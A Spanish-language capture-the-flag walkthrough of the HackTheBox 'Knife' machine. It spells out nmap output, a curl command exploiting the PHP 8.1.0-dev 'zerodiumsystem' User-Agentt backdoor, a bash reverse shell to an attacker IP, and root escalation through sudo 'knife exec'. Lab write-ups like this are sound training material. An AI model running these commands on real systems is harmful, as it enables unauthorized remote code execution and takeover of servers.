Knife HTB - WriteUp

En el día de hoy estaremos resolviendo la máquina Knife de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.10.242.

Índice

  1. Ennumeración Inicial
  2. Explotación Web
  3. Privesc

Enumeración Inicial

Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.

# Nmap 7.91 scan initiated Tue Feb 28 20:03:49 2023 as: nmap -sC -sV -Pn -oN Extraction -p22,80 10.10.10.242
Nmap scan report for 10.10.10.242
Host is up (0.053s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title:  Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Feb 28 20:04:00 2023 -- 1 IP address (1 host up) scanned in 10.55 seconds

Podemos ver que hay dos puertos abiertos… Un shh y una web que utliza el protocolo http. Si accedemos a la web podemos ver que no tiene enlaces, no tiene aparentemente nada. Utilicé curl para ver las cabeceras de la página.

❯ curl -I 10.10.10.242
HTTP/1.1 200 OK
Date: Tue, 28 Feb 2023 19:09:12 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

Explotación Web

La versión del PHP me llamo la atención y la busqué en google. Tiene un backdoor que nos permite ejecutar comandos a nivel de sistema. Si utilizamos la cabecera:

User-Agentt: zerodiumsystem(‘command’);

Supuestamente podremos ejecutar comandos. Hagamos la prueba:

❯ curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"id\"');"                                                            
uid=1000(james) gid=1000(james) groups=1000(james)

Podemos ejecutar comandos a nivel de sistema, vamos a establecernos una revshell.

❯ curl -X GET "http://10.10.10.242/" -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/10.10.16.6/443 0>&1\"');"

Privesc

Si miramos nuestro listener podemos ver que tenemos una revshell.

❯ nc -lvvp 443
listening on [any] 443 ...
10.10.10.242: inverse host lookup failed: Unknown host
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.242] 43344
bash: cannot set terminal process group (965): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$

Le hacemos el tratamiento de la tty https://ironhackers.es/tutoriales/como-conseguir-tty-totalmente-interactiva/

Si enumeramos nuestros privilegios podemos darnos cuenta que podemos ejecutar knife como root.

james@knife:/$ sudo -l
Matching Defaults entries for james on knife:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Si ejeuctamos knife -h nos da el panel de ayuda, en el podemos encontrar lo siguiente:

james@knife:/$ /usr/bin/knife -h
** EXEC COMMANDS **                         
knife exec [SCRIPT] (options)

Podemos aprovecharnos de eso para ejecutar comandos, como tenemos permisos para ejecutarlo como root, podemos convertirnos en dicho usuario de la siguiente forma:

james@knife:/$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# bash
root@knife:/# 

Espero que te haya gustado esta máquina easy!